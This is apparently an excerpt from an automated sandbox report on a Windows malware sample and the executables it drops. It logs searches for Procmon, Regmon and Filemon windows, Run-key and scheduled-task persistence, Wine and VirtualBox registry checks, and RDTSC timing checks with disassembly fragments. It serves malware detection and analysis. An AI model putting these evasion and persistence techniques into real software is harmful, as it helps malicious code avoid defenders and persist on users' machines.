Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea2c7beae0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea2c7beae0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6a8d4317d4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6a8d4317d4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\1000350002\6a8d4317d4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\1000350002\6a8d4317d4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\1000350002\6a8d4317d4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 82EFE0 second address: 82E87C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F97B4EC49C4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 nop 0x00000012 stc 0x00000013 push dword ptr [ebp+122D0C8Dh] 0x00000019 mov dword ptr [ebp+122D2716h], edi 0x0000001f call dword ptr [ebp+122D1C25h] 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D2716h], edx 0x0000002c xor eax, eax 0x0000002e jmp 00007F97B4EC49BDh 0x00000033 cmc 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 jng 00007F97B4EC49C0h 0x0000003e mov dword ptr [ebp+122D2AD5h], eax 0x00000044 mov dword ptr [ebp+122D2716h], edi 0x0000004a mov esi, 0000003Ch 0x0000004f jmp 00007F97B4EC49BBh 0x00000054 cld 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 stc 0x0000005a jc 00007F97B4EC49B7h 0x00000060 lodsw 0x00000062 mov dword ptr [ebp+122D2716h], ecx 0x00000068 mov dword ptr [ebp+122D3523h], ecx 0x0000006e add eax, dword ptr [esp+24h] 0x00000072 jmp 00007F97B4EC49BBh 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b mov dword ptr [ebp+122D20AFh], edi 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 jbe 00007F97B4EC49BCh 0x0000008a js 00007F97B4EC49B6h 0x00000090 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9A7F62 second address: 9A7F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9A7F68 second address: 9A7F70 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9A70F0 second address: 9A70FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007F97B4F2EDC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AA825 second address: 82E87C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 09CA064Bh 0x00000010 mov edi, dword ptr [ebp+122D2396h] 0x00000016 push dword ptr [ebp+122D0C8Dh] 0x0000001c call dword ptr [ebp+122D1C25h] 0x00000022 pushad 0x00000023 mov dword ptr [ebp+122D2716h], edx 0x00000029 xor eax, eax 0x0000002b jmp 00007F97B4EC49BDh 0x00000030 cmc 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jng 00007F97B4EC49C0h 0x0000003b mov dword ptr [ebp+122D2AD5h], eax 0x00000041 mov dword ptr [ebp+122D2716h], edi 0x00000047 mov esi, 0000003Ch 0x0000004c jmp 00007F97B4EC49BBh 0x00000051 cld 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 stc 0x00000057 jc 00007F97B4EC49B7h 0x0000005d lodsw 0x0000005f mov dword ptr [ebp+122D2716h], ecx 0x00000065 mov dword ptr [ebp+122D3523h], ecx 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f jmp 00007F97B4EC49BBh 0x00000074 mov ebx, dword ptr [esp+24h] 0x00000078 mov dword ptr [ebp+122D20AFh], edi 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 jbe 00007F97B4EC49BCh 0x00000087 js 00007F97B4EC49B6h 0x0000008d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AA9A0 second address: 9AA9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b jnl 00007F97B4F2EDCCh 0x00000011 pop eax 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAA82 second address: 9AAA88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAA88 second address: 9AAA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAA8D second address: 9AAA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAA93 second address: 9AAAF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a jc 00007F97B4F2EDCCh 0x00000010 pop ebx 0x00000011 nop 0x00000012 jno 00007F97B4F2EDCBh 0x00000018 xor si, FDE6h 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+122D23FEh], edi 0x00000025 call 00007F97B4F2EDC9h 0x0000002a jo 00007F97B4F2EDD7h 0x00000030 jmp 00007F97B4F2EDD1h 0x00000035 push eax 0x00000036 js 00007F97B4F2EDD4h 0x0000003c pushad 0x0000003d jns 00007F97B4F2EDC6h 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAAF3 second address: 9AAB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jmp 00007F97B4EC49BAh 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F97B4EC49C7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAB21 second address: 9AAB2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F97B4F2EDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAB2B second address: 9AAB2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAB2F second address: 9AAB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jc 00007F97B4F2EDC6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAB47 second address: 9AAB95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a and edx, 61BAB0E9h 0x00000010 push 00000003h 0x00000012 sub dword ptr [ebp+122D1F1Ch], esi 0x00000018 push 00000000h 0x0000001a mov esi, 5B535E00h 0x0000001f push 00000003h 0x00000021 sbb edi, 66CBB41Eh 0x00000027 push F50B3086h 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F97B4EC49C2h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAC32 second address: 9AAC4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4F2EDD6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAC4C second address: 9AAC86 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F97B4EC49B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d cld 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F97B4EC49B8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push B907AE5Bh 0x0000002f pushad 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAD1F second address: 9AAD35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAD35 second address: 9AAD49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushad 0x0000000c jnp 00007F97B4EC49B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAD49 second address: 9AAD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F97B4F2EDCFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAD5F second address: 9AAD81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAD81 second address: 9AAD87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9AAD87 second address: 9AADBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a or dword ptr [ebp+122D1F8Ah], ebx 0x00000010 lea ebx, dword ptr [ebp+1244F75Eh] 0x00000016 movzx esi, dx 0x00000019 xchg eax, ebx 0x0000001a pushad 0x0000001b push eax 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f pushad 0x00000020 ja 00007F97B4EC49B6h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 popad 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9BB8C0 second address: 9BB8C5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C9EF9 second address: 9C9F07 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F97B4EC49B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
